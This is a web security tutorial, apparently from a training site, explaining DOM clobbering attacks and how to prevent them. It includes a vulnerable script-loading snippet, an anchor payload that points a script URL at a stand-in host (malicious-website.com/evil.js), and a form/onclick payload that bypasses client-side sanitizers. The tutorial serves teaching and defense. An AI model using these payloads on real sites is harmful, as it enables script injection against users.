DOM clobbering

In this section, we will describe what DOM clobbering is, demonstrate how you can exploit DOM vulnerabilities using clobbering techniques, and suggest ways you can reduce your exposure to DOM clobbering attacks.

What is DOM clobbering?

DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.

The term clobbering comes from the fact that you are "clobbering" a global variable or property of an object and overwriting it with a DOM node or HTML collection instead. For example, you can use DOM objects to overwrite other JavaScript objects and exploit unsafe names, such as submit, to interfere with a form's actual submit() function.

How to exploit DOM-clobbering vulnerabilities

A common pattern used by JavaScript developers is:

var someObject = window.someObject || {};

If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:

<script> window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; </script>

To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.

Another common technique is to use a form element along with an element such as input to clobber DOM properties. For example, clobbering the attributes property enables you to bypass client-side filters that use it in their logic. Although the filter will enumerate the attributes property, it will not actually remove any attributes because the property has been clobbered with a DOM node. As a result, you will be able to inject malicious attributes that would normally be filtered out. For example, consider the following injection:

<form onclick=alert(1)><input id=attributes>Click me

In this case, the client-side filter would traverse the DOM and encounter a whitelisted form element. Normally, the filter would loop through the attributes property of the form element and remove any blacklisted attributes. However, because the attributes property has been clobbered with the input element, the filter loops through the input element instead. As the input element has an undefined length, the conditions for the for loop of the filter (for example i<element.attributes.length) are not met, and the filter simply moves on to the next element instead. This results in the onclick event being ignored altogether by the filter, which subsequently allows the alert() function to be called in the browser.

How to prevent DOM-clobbering attacks

In the simplest terms, you can prevent DOM-clobbering attacks by implementing checks to make sure that objects or functions are what you expect them to be. For instance, you can check that the attributes property of a DOM node is actually an instance of NamedNodeMap. This ensures that the property is an attributes property and not a clobbered HTML element.

You should also avoid writing code that references a global variable in conjunction with the logical OR operator ||, as this can lead to DOM clobbering vulnerabilities.

In summary:

  • Check that objects and functions are legitimate. If you are filtering the DOM, make sure you check that the object or function is not a DOM node.
  • Avoid bad code patterns. Using global variables in conjunction with the logical OR operator should be avoided.
  • Use a well-tested library, such as DOMPurify, that accounts for DOM-clobbering vulnerabilities.